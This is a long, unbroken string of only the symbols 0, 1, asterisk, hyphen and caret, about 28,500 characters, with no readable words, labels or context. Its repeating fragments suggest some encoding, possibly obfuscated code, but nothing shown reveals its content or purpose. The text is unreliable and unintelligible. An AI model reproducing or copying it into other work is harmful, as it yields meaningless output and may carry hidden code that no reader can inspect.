*****0011**10-1********001*1011*****011**1010^1********010101*********001^1*****001**1^101*****001**010101101*****011**1**1*****011**010-11*****01***-*********1010-*****0011**^-01*****01***0-1******1**00-11*****0011**1*1011*****01**00110-1********^-******01**0^^1*****01***-******011**0101101*****0011**00^1*********0110^101*10^1*01*1*^1*01^1*11010^-11**01*1^1*001*******010101010--0-1*01^1*001****01**0-010^--00-*01^1*001****01**0^110^--01011*01^1*001****01*****0--*11*01^1*001*******-1*10--01101*01^1*001****01**001**0--00101*01^1*001*******0-11010--001101*01^1*********1***-001*1******010--*****0101**010^1**00-***1^1^1*1*******0010101*********11********01*0110^11*****01**01*1101*****0-**1011*****************00-*1*00^10101*11*00-10-11010^1*^1*****01***1011**01*1011*1*1*-----1^-110^11*00-001*0^1^1*10-*-11*^1*01*1^^11010-01*0101****01**00110110-1011*01*01*1*^1*01*1*-----1^-11*^1*0-001*0^1^1*01011*^1*01^1**11010-01*^1*01*1*^10-11010^^1101******^1^^10-*001*010^1********101*01*001*0011*1*1*-----1^-1101^11*0-001*0^1^1*00-*-11*^1*00^1^^101^-*11*1*1*1*0^1*1*1*-----1^--110-*0-001*0^1^1**01*-11*0^1*1^1**11010-01*0^1*1*1*0101****01**00101*-1011*001*1*1*011****001**10101^-101^11****011**0011*1*101*^11*1*110101^-001*1*001*******************0101*001*0^11011**01*1*1*011****001**^-00-101^11****011**0011*1*101*^11*1*110101^11*1*1*001*******************00-*01*01*1011**01*1*1*011****001**-01^-101^101*******0^^-10110-1*01*1**01*1*1*011****001**1^1^-101^101****01***10110-101^101****01**01010110-10110^1*01*1**1*01*1**01*1*1**01*1^1*011****001***01^1^-0011*00^10-11010^^1101*****00^1^-01011**1*010^1*****01**0^^11*00^^11*1*1*-----1^-110--1*-001*0^1^1*1^1*-11*^1*0101101*11*****1*001010101*010^-1*01*1*001****001**00^1*--0-1*01^1*011****01**001101101*101*-*01*1*0-*01^1*011****011***001*0010^1011*01*1*-----1010--1^1*00-001*0^1^1*^1101******--*01***1*010^1********001*01*001*0011*1*1*1011*01^1*0101******0011*^-1011*001*-11*01101*1011*01*1*00110-11010^^110101*1^-11*1*^1*****01***-**001*1011*1*1*-----1010--010101*0-001*0^1^1*^1101******-0-1*1**001*010^1*****01***^11**^^11*1*1*10101*1*11**1*-11*0101********1*-101101011*01*1*-----1010--010-*0-001*0^1^1*1*^11*1*-11*-01*1*1*1011*01^1*0101*******0101*-101101^1*1*1*10-0010101*0-11*-01*1^1*1*1*10-0011011*0-11*01101*1^1*1*1*1^1*1^1*1*******0010^^1011*1*11*110101******1101011*0101*********0-001*001*********101*1*001*11****011**0011*1*101*^11*1*110101^1^11*1*001*******************00101*01*01*1101*0101*01*1*0011*01*1*00110-11010^^1101*****00^11*10110-*001*010^10-*0-11**11*1*1*-----1010-110^1011*-001*0^1^1*1*^1*****01**01*-**1*1011*1*1*-1**110^110101******11011**101*********10^11*001********0010-011*001*101*01*1*0011*01*1*0011*01^1*0101^10^1*1*1*1*1*1*1*-----1010--0--*-001*0^1^1**01*-11*0^1*1^1*01101*------0--001**0-001*0^1^1*0011*0-11*1*1*1^1*1101*01*1*1101*01^1*110101******11*11*0101******1**01*11**01******1**00^11**01*101****01**01^110-101^101****01**01010110-10110^1*01*1**1*01*1*------0--01011*00-001*0^1^1*^1101*****00110-*-*1*001*010^101010110-11**11*1*1*0101*01^1*110101******0-*1*101******11**10101101*001******11**110-01*001*11****011**1*-*0101*-**^^1101010-*1**0^10-********************101*01*01*101****01**-00110-101^101****01**01010110-10110^1*01*1**1*01*1*00110-11010^^1101*****0010101^1*0-*001*010^10-1*-11**11*1*1*------0--11*01*-001*0^1^1*0^1*-11*^1**110^110101******-01101*101*********10-11*001*********0-001*001*101****01**01^110-101^101****01**01010110-10110^1*01*1**1*01*1*------0---0101*-001*0^1^1*^1101********011*001*00^1*^1********0011*1*00^-01*1*1*^1*01^1*01101*------0--11*11*-001*0^1^1*^1101******1011*01^101*00^1^^-001^-11*11011*1*1*0101****01**^10110-101^101****01**10^1101^-0011****001***1^1*101*0-*01*11011***1^^11***1*0101*110101******0-*1*101********0011010101*001********0010^101*001*11****011**0011*1*101*^11*1*1^-00-101011**1**********************1*01*1011*110101******-1*1*10^-10110-11*10110^-11*011****011**10-001*10^1101**-^1*^-10101**1*0101*11011*1^1*-11*011*******011**0010^-01*-*001011010^1*-1^1**01*********001*1*001*001*01*1*-----^--110-*00-001*0^1^1*^1101*****001011*11010101**1*010^1********1101*1*001*0011*1*1*0101****01**^10110-101^101****01**10^1101^-0011****011**1*-*0101*-**^^101101010-101**1*1101********************101*01*0^110101******0-*1*101******1**00-1101*001******1***001101*001*11****011**0011*1*101*^11*1*1^-00110-011**1*******************00-*01*0^-01*110101******-1*1*101******11**010-1**1******11***-**01*11****011**10-001*10^1101**-^1*^-10101**1*0101*11011*10-*011*******011**00101*0-*-*001011010^1*11*001**01********00^1*1*001*001*01*1*-----^----01*-001*0^1^1**11*-11*0101****01**^10110-101^101****01**10^1101^-0011****001***1^1*101*0011*01*11011***1^1*1***1*0101*110101******0-*1*101******11**011***01******11***1***1*11****011**0011*1*101*^11*1*1^-001^11011**1*******************0011*001*0^^11*110101******-1*1*101******1**011010-*001******1**0^10101*001*11****011**0011*1*101*^11*1*1^-0011010-1**1********************01*01*01*0-*011*******011**0010^^11*-*001011010^1*-0^1**0^-10110-11**1*01*1*-----110--1^11*00-001*0^1^1*01101*-11*0101****01**^10110-101^101****01**10^1101^-0011****011**1*-*0101*-**^^1011010^-01**1*0011********************101*01*0^110101******0-*1*101*1*110-11*00110110-11*011****011**0011*1*101*^11*1*1^-00-001011**1*******************0-*001*01*0-*110101******-1*1*101******01***1*1*001******01**010^11*001*11****011**0011*1*101*^11*1*1^-00110--**1*******************0-*001*01*0011*011*******011**0010^^11*-*001011010^1*-0^1**01*********1010101*001*001*01*1*-----110--00110101*-001*0^1^1*10-*0101****01**^10110-101^101****01**10^1101^-0011****001***1^1*101*1101*01*11011***1^10101***1*0101*110101******0-*1*101******01**^-01*001******01**-01101*001*11****01**01*001*0101*0101*11011010^1**1^110-0101*00^^11*00101*110101******-1*1*101******01***1*1*001******01**010^11*001*11****011**0011*1*101*^11*1*1^-001^10-**1*******************0^1*01*01*-1*011*******011**0010^-01*-*001011010^1*-1^1**01**0110-11**1*01*1*-----10--1*11**-001*0^1^1*0-1*0101****01**^10110-101^101****01**10^1101^-0011****011**1*-*0101*-**^^101101010101101**1*1011*******************0011**1*0^110101******0-*1*101******11**00101**001******11**01011**001*11****01**01*001*0101*0101*11011010^1**1^11*10101*00^11011*00101*110101******-1*1*101******11**-*01*001******11**101*11*001*11****011**0011*1*101*^11*1*1^-0011*-1**1*******************001**1*01*1011*011*******011**00101*0011*-*001011010^1*1^^1**0^-10110-11**1*01*1*-----10--^11*1*-001*0^1^1*^1*0-11*0101****01**^10110-101^101****01**10^1101^-0011****001***1^1*10^^11*01*11011***1^1^1***1*0101*110101******0-*1*10^1*0010-11*-^10-11*011****01**01*001*0101*0101*11011010^1**1^1^110101*00^-01*00101*110101******-1*1*101******11**--01*001******11**10--*001*11****011**10-001*10^1101**-^1*^10^101**1*0101*01101**11*-11*011*******011**00101*-1*-*001011010^1*110-01**01*********0011011*001*001*01*1*-----10--1*0-1*-001*0^1^1*1011*0-11*0101****01**^10110-101^101****01**10^1101^-0011****011**1*-*0101*-**^^101101010110101**1*-1********************001*01*0^110101******0-*1*101*0101010-11*01011010-11*011****01**01*001*0101*0101*11011010^1**1^-1010101*001*0-*00101*110101******-1*1*10^10-*-11*-11010-11*011****011**10-001*10^1101**-^1*^1*0101**1*0101**11*-1*0-11*011*******011**00101*1101*-*001011010^1*1101^1**01********00-*11*001*001*01*1**1*01^1*0101****01**110101101^-0--------10-01*0-001*0^1^1*0101*0-11*-----^----010-1^^11010-01*0101****01**00110110-10110-**001*0--------0010-*0-001*0^1^1*11011*-11*0011**011010-01**1*******11*00^1101******11*00110101********001011******00101**101101*****0011**0^1011*****001**01*011*****011**011*1******1**0-001*****0011**010-01*****0101**011******00101*001^^1******1*00-******************11**101*******01*001101011******01**0-101********1*^1******1**00-1******01**01^1*********^1********001010-1*****01**0^1011*****001**010101011*****0101*00110-11****************011*00^-******101*00^-******01**0-001******01**01*01******1**01^1********00-1*101*101*0^1*1*1*0^1^1*1*1*-11****-101101^^11**0-10110101****01**00101*-10110-*001*1*011****001**10101^-101^11****011**0011*1*101*^11*1*110101^-001*1*001*******************001**1*0^11011*-*001*1*011****001**^-00-101^11****011**0011*1*101*^11*1*110101^-011*1*001*******************01**01*0^-01*-*001*1*011****001**-01^-10110110101******-1*1*101******1**011011**001******1**0-1101**1*11*001*1*-*001*1*011****001**1^1^-101^101****01***10110-101^101****01**01010110-1011*01*0-*00-*001*1*-*001^1*011****001***01^1^-0011**110--010^-01*-----10--1*^11*-00-11*1^1*^110^-1010-11*1*^1********0--1*001*1011*1*1*0^1*10110^110101******010-1*0101********00101^11*001*********1^-*001*11*001*1*011*001^1*011****01**001101101*10^101*001*1*-----10--10110-1*-00-11*1^1*0101*0-11*101*001^1*11011******0-1**10-*1*001*1*--------*1**0-00-11*1^1*0101*0-11*101*001^1*011****011***001*0010^1*******0011**0010-*1*001*1*00110-11010^^1101*****00^11*1^1011*00^1^^101101010-11*11011*1*1*--------001101*00-00-11*1^1*^1101******-*0011*1**^1^^1********^-11*00^11011*1*1*10101*00110^110101******^^11*101******1**0101101**01******1**01010-**1*11*****1**101**010^1*******0011***0101^1****001**0011*00--0110101******110101*00101******01**00^-*001******01**11010101*001*01*001*1*101*001^1*1*******001*0^1011*101101******01**001010^10-0--0-11010^^110^--0-11*1*^1*****01***-001*00^10-*1*1*0011*-010^-11*1^1*0-1*101*00101101*01*001*1*1010^-010^-11*1^1*^1101********01*1011*00^1*^1*****01***0-**01*1011*1*1*001*001^1*110101******0--*0101******11**-01101*001******11**01^101*001*101****01**-00110-101^101****01**01010110-1011*01*0-*00^1******001***********************00-^11*********011*********11*1*********011011********1^101*******************01^101********110^1********010-101*****01***00-********001^101********1011*0101*10-11*1*1*-11*1^1*1101*0-11*-----1^-110-1**-*1101*1^1*^1101*****0010^10101^-*001*010^10-1**11*1*1*1*1*11010^10110-110101*00110^1101*1*^1*****01***10-**1*1011*1*1*-----1^--0-1*00-*1101*1^1*^11010-10^-11*1*^11*1^-11*10-*1*1*-1**110^1**00--11*1*-11*00101*1*1*-----1^-1^10101*0-*1101*1^1*^1101******0-*-1101**^1^^1^10^-11*11011*1*1*00101*1^1*-01*00110-11010^^1101*****00101*0010^101*001*010^101^110-11**11*1*1*-----1^-110110-*0-*1101*1^1*11*^-11*^1**110^1**00--101101*00101*1*1*-----1^-11011*01*-*1101*1^1**01*-11*00101*1^1*0011*0-11*0011*001101*1010--0101**1*-11*-----1^--001^1*-*1101*1^1*-00^-11*^1**110^1**00---01*0-11*00101*1*1*-----1^-1101010101*-*1101*1^1*00101*-11*00101*1^1*1011*0-11******001**10-011*-001010--0101*0101*-11*-----1^-11**11*-*1101*1^1*^110101^1010-11*1*^101^110-11*00-*1*1*-1**110^1**00--^11*0-11*00101*1*1*-----1^--1101011*-*1101*1^1**00^-11*00101*1^1*0-*0-11*-----1^-1^^-*-*1101*1^1**11*1011*0110101******01*101*101******1***0101**01******1**001*1**01*101****01**01^110-101^101****01**01010110-1011*01*0-**101****1**0-01*0--*00--010^1101101010-*1*^110^^-11*00-*1*1*-----1010-1101101**-*1101*1^1*11011**1**110^1**00--11011*0-11*00101*1*1*-----1010-1101^1*00-*1101*1^1*01^^-11*00101*1^1*^1*0-11*-----1010--^11*00-*1101*1^1*11011*-11*0101****01**^10110-101^101****01**10^1101^-0011****01**01*001*0101*0101*11011010^1**1^11*-01*001*0-*00101*011*******011**00101*1101*-*001011010^1*-101101**1********0010^101*001*11****001***1^1*10^^11*01*11011***1^^-**001*0101*-*001010--0101*1^^-11*-----1010-1^10-*0-*1101*1^1*1^1*-11*^1**110^1**00--10-1*00101*1*1*-----1010-1^1*01*-*1101*1^1*1*^1*^10-11*00-*1*1*00101*1^1*-1*0-11*-----1010-1^10^1*-*1101*1^1*-11*-11******01**0--^10-00^1*0^10-11010^^1101*****0010^1^1010101*00^1^^1********11*101*00^11011*1*1*-----1010--^1101*-*1101*1^1*1*^1**10-11*10-*1*1*0011**110^1**00--10-*0-11*00101*1*1*-----1010--11*11*-*1101*1^1*0011*0-11*00101*1^1*^11*1101*00101****01**110101101^-001^-11010^^110101*^1*****01***-1**01*1011*1*1*1*^1*****01**00^101**1*1011*1*1*-----1010-1^110-*-*1101*1^1*1*0^-11*^1**110^1**00--1*11*00101*1*1*-----1010-1^--*-*1101*1^1*0-1*-11*00101*1^1*0-1*------0-11*1**0-*1101*1^1*-01*0101****01**^10110-101^101****01**10^1101^-0011****011**1*-*0101*-**^^1101010-001101*00^^11********************01*001*01*11*******011**0010^11011*-*001011010^1*110-101**1********0010--*001*11****001***1^1*10^^11*01*11011***1^^-**001*0101*-*00^10-11010^^1101*****00-^101^-**1*010^1********11011011*00^^11*1*1*------0--101101*0-*1101*1^1*^1101*****0010---0-1*001*010^-101^-11**11*1*1*0^1*00110^1**00--110-*00101*1*1*------0-1^10-*0-*1101*1^1*1*^1*****01**01*-**1*1011*1*1*00101*1^1*00-*------0-11011*01*-*1101*1^1*^1*0-11*0101****01**^10110-101^101****01**10^1101^-0011****011**1*-*0101*-**^^1101010-101101*00^10-********************101*01*01*11****011**10-001*10^1101**-^1*^110-11**1*0101*01101*0101*0-11*011****01**01*001*0101*0101*11011010^1**1^1^1*11*001*-1*00101*-*00^10-11010^^1101*****00101011*^11**0^1^^1*****01**0-001**0^11011*1*1*------0--0011011*-*1101*1^1*^1101*****00^10--^11*001*010^-101**11*1*1*1*1*00110^1**00---011*00101*1*1*------0--*-1*-*1101*1^1*01011*-11*00101*1^1*1*1*-11*------0-110--1*-*1101*1^1*1101*0-11*******1*0010-001^-00^1**110-11010^^1101*****0011011*10101**001*010^110110110-11**11*1*1*-----^--01011**-*1101*1^1**10^-11*^1**110^1**00--1*01*-11*00101*1*1*-----^--110101*00-*1101*1^1*^1101********101***001*010^1*****001**-0101**^^11*1*1*00101*1^1*01011*-----^--11*01*0-*1101*1^1*^1101******^1*00--*001*010^101011010-11**11*1*1*0101****01**^10110-101^101****01**10^1101^-0011****011**1*-*0101*-**^^110101011*1101*00^-01**********************01*01*11****001***1^1*10^^11*01*11011**^1^-0-11*001*0101*011****01**01*001*0101*0101*11011010^1**1^-10^11*00^10-*00101*-*00-10-11010^^110^1010^-11*1*^^-*-11*-01*1*1*-----^---0^1*-*1101*1^1**1101010101*-11*1*^1********10110-*001*1011*1*1*0^1*00110^1**00--1^11*00101*1*1*-----^--*01101*-*1101*1^1*01101*00101*1^1*0101*0-11*-----^--00-101*-*1101*1^1*^11010-01^-11*1*^1*****01**01*001**1*1011*1*1*0101****01**^10110-101^101****01**10^1101^-0011****011**10-001*10^1101**-^1*^10101011**1*0101*11011*00-*-11*011*******011**0010^-01*-*001011010^1*110101101**1*********0^-*001*11****011**0011*1*101*^11*1*1^-00-1101**001*******************00-*01*01*0-*-**110--0101*1101*-----110--0-**0-*1101*1^1*01011**1**110^1**00--1^1*0-11*00101*1*1*-----110--0-1**-*1101*1^1**01^-11*00101*1^1*10-*-----110--010101*00-*1101*1^1*0-1*0101****01**^10110-101^101****01**10^1101^-0011****011**1*-*0101*-**^^110101010^1101*001*0011********************011*01*01*11****01**01*001*0101*0101*11011010^1**1^110^1011*00^10-*00101*011****011**1*-*0101*-**^^1011010110110101*00^11011*******************00^1*01*0^-*00^10-11010^^1101*****00-0-101*101*001*010^1*********10-*00^^11*1*1*-----110--01*001*-*1101*1^1*00^^-11*^1**110^1**00--^-*00101*1*1*-----110--0^^1*-*1101*1^1*01*^-11*00101*1^1*11011*-----110--0-^1*-*1101*1^1*^110^-0010-11*1*^--^-11*00-*1*1*0101****01**^10110-101^101****01**10^1101^-0011****011**1*-*0101*-**^^1101010101101101*001*0-********************011*01*01*11****011**0011*1*101*^11*1*1^-00-^11**01**********************1*0^10-*011****011**1*-*0101*-**^^10110101^10101*00^-01********************101*01*0^-*001010--0101*1*^-11*-----110--*-11*-*1101*1^1**11*-11*^1**110^1**00--101011*00101*1*1*-----10--1*1**0-*1101*1^1*^11010^^10-11*1*^-0-10-11*00-*1*1*00101*1^1**01*-11*-----10---011**-*1101*1^1*^1101******011010-1^1**^1^^1*****01**00-01**0^11011*1*1*1011*0110101******01*101*101******1**0101^1**1******1**0-*1**1*101****01**01^110-101^101****01**01010110-1011*01*0-**101****1**001101*0--*110-110101*001101*001*-11*1*^1*****01**0-101**01*1011*1*1*-----10--10-101*0-*1101*1^1*10^^-11*^1**110^1**00---11*0-11*00101*1*1*-----10---11011*0-*1101*1^1*10-*00101*1^1*1101*0-11*-----10---0-1*0-*1101*1^1*^1101*******1101011***01*010^1*****01***0-**0^^11*1*1*0101****01**^10110-101^101****01**10^1101^-0011****011**1*-*0101*-**^^1101010110101101*00^11011*******************00-*001*01*11****01**01*001*0101*0101*11011010^1**1^11*-11*001*0-*00101*011*******00101011*10^^-*011***10110-101*001*1101*1*1^-11*-**110--010^10-*-----10--^1^11*-*1101*1^1*^1101******^1*01^-*001*010^101011010-11**11*1*1*0^1*00110^1**00--10101*0-11*00101*1*1*-----10--101^-*-*1101*1^1*-01*-11*00101*1^1**11*0101*00101****01**0^1*1^-01010--010^-01*-11*-----10--^--*-*1101*1^1*10-*-11*^1**110^1**00---101*00101*1*1*--------0011**0-*1101*1^1*^1101*********010-*00^1*^101101*-11*-01*1*1*00101*1^1*01101******01**011*001*****011**01101011*****01**0^11******01**0011*******01**10^11******1**11*******0101*00101^11********10101******0101*00-0-******01*0010-001*********1101******1**0010^1*****011***1101*****0011**00101******0101**011*1******1*00110-11*********01011*****01**0-10101*****0101**00-01*****01**0-1*1******1**00^1*****00101**10^1******01*001011*1******1*0010^1********00^101******01**0110-1******1**-0-*****011***011******11**11*1******1**0101101********00110-*********1^101*****001**0-1011*****0101*00-0-******01*001*1101*****0101**101011*****00101***-1*****0101*001101^1*****0101*0010^11*****0011**10110101******1**--******01**101101*****0011**11*1******101**^-1*****011**1101^1*****01**0-0-1********0^1101*********1101*****00101**0101******001**01101*****************101*0010-1******001*00^11******001**1*-********001101^101*^1101*1*1*01101*1^1*^11*10-*1^1*001*******0-11010--*-*1^1*001****01*****0--011011*1^1*001****01**0^110^--001011*1^1*001****01**001**0--0^11*1^1*001*******010101010--*011*1^1*001*******-1*10--0-01*1^1*001****01**0-010^--001101*01^1*1**11010^1*1*******--*****0-1**110101***001**001^11011****10101*01*******1*110110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******1*110-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11****01***101101*101*11****011**0011*1*101*^11*1*110101^1^1*01*001*******************0101*001*01*-1*01**0101******0011*01*0101*1*****1101*01^1*********1***-*1^10--------11***0-*01*001^1*0-1*01010^1*******00-110-010-0-*00--------1^-1*-*-1*--------01101**-*01*001^1*11011**********1*0010-0010-01*011**1*0--------01^1*00-*01*001^1*01101*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------010-*00-*01*001^1*^1101*******00101101***^1^^110^110-11*-*001*1*1101*00101****1**00110^-11011011011******011**0011*-**11011******00-**11*101**--------0-101*0-*01*001^1*10-*1101**101*--------01^-*-00^1101*****001^1011*-01*00^1^^1*****01**0-***0^-*001*1*--------110-1*0-*01*001^1*^1101******101101011*101*001*010^1********0101^1*001*11*001*1*********10101*********1**0101*101*01^11*00^110^1011010-11*1*0110101**01*00--------1*0101*-*01*001^1*^110101*^1********01010-*00^101*001*1*1*^1********^10101*00^101*001*1*0101*001101*--------110-01*-*01*001^1*-01*01^1*11****01**01*1101*01011********-0^1********1101011********0-1*1*********101********00-1*1**********11********^-01********1*011********01101011*******************0-*********011*101********0011*0101*1*1*001*1*********101*1*0-00-*001^1*001****01**0^110^--0011*001^1*001*******010101010--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1******0110-11*****01****1****1***1^1^1***00--------101**00-00101*001^1*0-1*01010^11011******0-1*01010-0-*00--------1^-1*-*-1*--------01011**-00101*001^1*^1101*1^10-11*1*^1*****01**0110^1**^^1*01*1*********0^1*--00^11010^1*0110110^1011**1*********0010-11*00^1011**00-0-11*0011******0011***10-*001*101**01101*-0011*^1*^10-11*001****01**0-010^--*****001**0-11011*001*01*******0-11010--0-01*011*00--------1101101*0-00101*001^1*01101*1101*00101*******-0101*101*1**--------0101011*0-00101*001^1*01101*1101**101*--------^10-*-00^1101*****001*110-10101**1*010^1^^10-11**1*01*1*--------001*01*-00101*001^1*^1101*****00-10--001**01*010^^1*10-11*-*001*1*********0^1*********1**0101*101*01^11*00^110^101*0-11*1*011011**001*00---------00101*-00101*001^1*^1101********00-1011*00^1*^1*****01**001*001*001*11*001*1*0101*001101*--------0-1101*-00101*001^1*0101*0-11*01^1*11****01***001101*01011********-1*********011*11********001^1********00^1101**********011********01^1*******************0^1101********0^-01********^-01********0^-********01101*0101*10101*001*1*********01*01*0-00^1*01^1*001****01**001**0--*01*01^1*001*******010101010--0-*001^1*001*******-1*10--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1******0010-11*****01**011*1***0-***1^1^1***00--------11*1*00-00101*001^1*^1101******-0110-^11*001*010^1*****01****011*00^-*001*1*01010^-*00--------1^-1*-0011011*--------**1*0-00101*001^1*1*^1*****01**00-011**1*11*001*1*********-1*0--00^11010^1*011011010^11**1******001**0^^1**^1011*********00^1101*001*011******0011**11011011*001*101**011010-01*011*00--------0-011*0-00101*001^1*0101*0-11*1101*00101*******1*^-1011*1*0011011******00-**11*-**11011******011**0011*101**--------0101*1*-00101*001^1*0101*0-11*1101*001101*--------1^-1*-*-1*--------1101^1*-00101*001^1*^11**********1*********01**0101*101*01^11*00^11010-00110-11*1*011*1**-*0101*00--------10101101*-00101*001^1*11011*0101*001101*----------01*-00101*001^1*01101*01^1*11****01**0-10101*01011********-1101********00-*********011*01********0-1011********01010^1*********11********************00-********001^^1********^1011********00-*********01101*0101*10101*001*1*********1*001*0-00-*001^1*001*******010101010--0011*001^1*001****01**001**0--001101*01^1*********1***-001*1*******101011********-0-1***01***1^1^1*1*******0010101*********011*******11**0101^1*****01**0^^1******1**1*101***********1*******0010101*********^1**********010-********110101********0010-101****************00101^1*001********0010101*011*01*1*------0-110-^1*-00-----10--101^-*-0011011*1^1*0011*0-11*--------1^-1*-0011011*-----10--11010-1*-0011011*1^1**01*-11*********^1*0^-001**00--110-*1011*01*1*--------*1**0-0011011*1^1*1*^--*-11*^11*1*1*1011*01^1*-01*--------1^-1*-*1101*--------10-**-0011011*1^1*00-**********1*0^-001**00--101101*1011*01*1*---------101*00-0011011*1^1**11*1011*01^1*01011*--------010-*00-0011011*1^1*1*^1********-00101*001*0-*1*1*-----^--10-1*10-00110101******-01101*101******1**0^-01*001******1**0-11011*001*11*00--------1^-1*-*0011*--------00^11*0-0011011*1^1*^1101*****00^1011010^1**01*010^110101*-11*10101*1*1*********0^1*^-001**00--1^11*1011*01*1*--------**01*-0011011*1^1*0101*0-11*1011*01^1*10-*01010^-*00--------0-*1*-0011011*1^1*1101*0-11*-----10--1101*^-1^^11010-01*011****001**01010110-1011*1*001*1*011*001*1*---------00101*-0011011*1^1*0-1*011*001^1**11010-01*011*001*1*********011*11********110-1********0^101********************101011********-001********00101011*********-^1********0-********************0-^1********-^11********101011********00-0101********0011*01********101011********0010110101********1*1*101*1011011*1*1*11011*1^1*10-***********0010-01101^1*********11*0010-0110101****01**00101*-101101101*01*1*011****001**^-00-10110-*001*1*1101*01*1*011****001**-01^-101^101*01*1*1101*01*1*011****001**10101^-1011*01*01*1*1101*01*1*011****001**1^1^-101^11*******011**0010^11011*-*001011010^1*1^1011**01*1010^-11*1101*01*1*1101*01^1*011****001***01^1^-0-*00-----10--110--*-*0011*1^1*1*^1*****01**0101***0^^11*1*1*0101*01^1*110101******1011**0101*********0^101*001*********0-011*001*11****001**01010--10110^1**01*0110101******1*1101*101******01**01101101*001******01**01*-*00^^1*01*1*101*001*1*011*******10101**101******1**0-11**001******1**0101101**0^--------011*1*0-*0011*1^1*01011*^1*01^1*011****001**10110110-101^11****011**1*-*0101*-**^^1011010-*01**1*0011*******************00101*001*01*11*001*1*001*001*1**1*01^1*011****001**10110110-101^11*******00101011*10^^-*011***1011*0101*00^-01*-01*-11*********1011**0-*11*******011**00101*0011*-*001011010^1*-0101**001*0010110-11*********0^1*010-00110101******0010^1*101******1***010-*001******1**01101^1*001*11****01**01*001*0101*1**11011010^1**1^1^11***^10-*00101*01**011*001*1*001*001*1*--------^-01*-*0011*1^1*-01*-*001^1*011****001**10110110-101^11****01**01*001*0101*1**11011010^1**1^--*1*00^10-*00101*011*001*1*001*001*1*********00-011*********11*********0011011********01^^1*********11*********************01********************01*0101*1*011*1*1**11*1^1**11******01**011010101*-*11*001^1*01101*101*001^1*011****001***10-1^-0-----10--10^1101*-001^1*1^1*0101*0-11******01**001010-^-001**00--^-*1011*01*1*-----10--1101*11*-001^1*1^1*00-*1011*01^1*^11*1101*00101****01**0^1*1^-0--------1^-1*-*0-*-----10--^-011*-001^1*1^1*^1101******01*-10-1**1*010^1*****01**01*^1*001*1101*1*1*********10101*^-001**00--1*11*1011*01*1*-----10---0-11*-001^1*1^1*0-1*1011*01^1**11*--------011**00-001^1*1^1*^1101*101^-11*1*^1********00110-*001*0101*1*1*0101*0110101******0-*1*101********00^-11*001********00-0-1*001*11*******011**0010^^11*-*001011010^1*--***1*01^10-11*011****01**0010^11*101******1**01011*1*001******1***^-*001*0-*-11*--------1^-1*-*-1*--------001^1*0-001^1*1^1*^11010-01^-11*1*^1*****01**00-0101*001*0101*1*1*********0^1*^-001**00---101*1011*01*1*--------*1011*0-001^1*1^1*^1101******00110-10-01*001*010^1^10^-11*10101*1*1*1011*01^1*00-*01010^-*00--------01^-*-00^110101*^1*****01***-1**01*0101*1*1*1*^101010^-11*00101*1*1*--------0^^1*-001^1*1^1**1101*-*1*^1*****01**0110101**01*0101*1*1*********1*1*^-**01101**00--101101*01**0--101101*011****001**01010110-1011*1*001*1*1**00--101101*011****001**1*-0-101^1**001*001*1*********^1101********001*01*********1*1*****001**0-1**********--********011*11********110-1*********--*****************************0110-01********110-1********011010-********011*11********0-*0101*101^1*1*1*1^1*1^1*11011******011**1*10-0-01^11*01^1*-**1^1********00^1*010-01^1*001^1*011****001**01^1101^-0011********************************1******************************00101*00101*101*1*1*1*1*1*1^1*01011*1011*00101******00101^1*0101*01****01***^-*010-0^^1*******001*0^1011*1*01*-11*0011*00101******00101^1*0101*01****01**011*-*010-0^^1*******001*0^1011*1*00^-11*--------0110^1*-00-1*01^1**11*********10--^-001**00---011*1011*01*1*--------*10101*-00-1*01^1*01101*1011*01^1*11011*01010^-*00--------1^-1*-*1101*--------110-01*-00-1*01^1*11011**********1*0^-001**00--101011*1011*01*1*******1*0010-01*0-001011*01^1*01101*******************00--*********001***********1********00--**********01********00--*********1*1********00101101********00^1*0101*10-1*01*1*-1*01^1*0-1*01101*1^1*001*******010101010--010101*1^1*001*******-1*10--*101*1^1*001****01**001**0--0^11*1^1*001*******0-11010--*-*1^1*001****01*****0--001101*01^1*********1***-001*1******0^-11******1*00101*11***001**001^11011******0010101*11*00-----10--11*0101*-001011*001011*-----10--1*10101*-001011*0^110101*^110101010-11*-*001*1*1*^1*00^-11*-*001*1*--------0010-1*-0010-*-----10----101*-001011*001101*********-*00^-001**00--101011*-*00-----10---1^11*-001011*00-*0-11*1101*0-01*--------10110-*-001*^1*****01**01*-**1*11*001*1*-----10--101^-*-001011**011*********-*00^-001**00--101101*-*00-----10--10110-1*-001011*011011*1101**011*0101*00101****01**0^1*1^-0--------01010-*-00^1101*****001*1*01***001*010^-1*10-11*001*001*1*--------10101**-001011*0-1*0-11**********1*0^-001**00---101*-*00--------01^1*00-001011*0^1101******001^1010-11*001*010^1********01010101*001*01*001*1*1101*0^11*0101****01**1^1*-101^11****01**00-0101*101*11****001***1^1*10^10-*01*11011***1^-***001*0101*011*00--------0-0-*-0011011010^11*1*^1^10^-11*101*001*1*---------1101*0-001011**11*0-11**********1*0^-001**00--1*11*-*00--------*0-*0-001011*00-1*1101*001011*0101****01**1^1*-101^11****01**00-0101*101*11****01**01*001*0101*0101*11011010^1**1^110-***^11011*00101*011*00--------0010-1*-*-1*---------0^1*-001011*0^11*********-*00^-001**00--1^11*-*00---------00101*-001011*0^1101*****0011011*11010101*001*010^1^11*-11*001*001*1*1101*001101*********10101101********11010-********1^1*********-0011********001**********0010^1********110-01********010^1*****001**00^1******01**0^11*********001*11********1^1*********^101********001*0-****************1**01***********001*101*10^1*01011*0-01*-*001^1*001****01*****0--0011*001^1*001****01**001**0--0101*001^1*001*******0-11010--*1*001^1*001*******-1*10--001101*01^1*********1***-001*1*******0-11*****01**0011*01***11***1^1^1****10101*01********0110110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01********0110-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11****01***110101*101*11*******011**00101*1011*-*001011010^1*-01011**01********00-1*1*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^1**00--------01101**-001011**011*01010^1*******0010110^1010-0-*00--------00^1*00-001011*0^110101*^1^11*-11*011*001*1*1*^1********0^-1*001*11*001*1*--------0010-1*-00^11*--------0-11*00-001011*00-1*********-*00^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------1010101*0-001011*010-*1101*00101****1**010101^-1011011011******011**0011*101**--------*1011*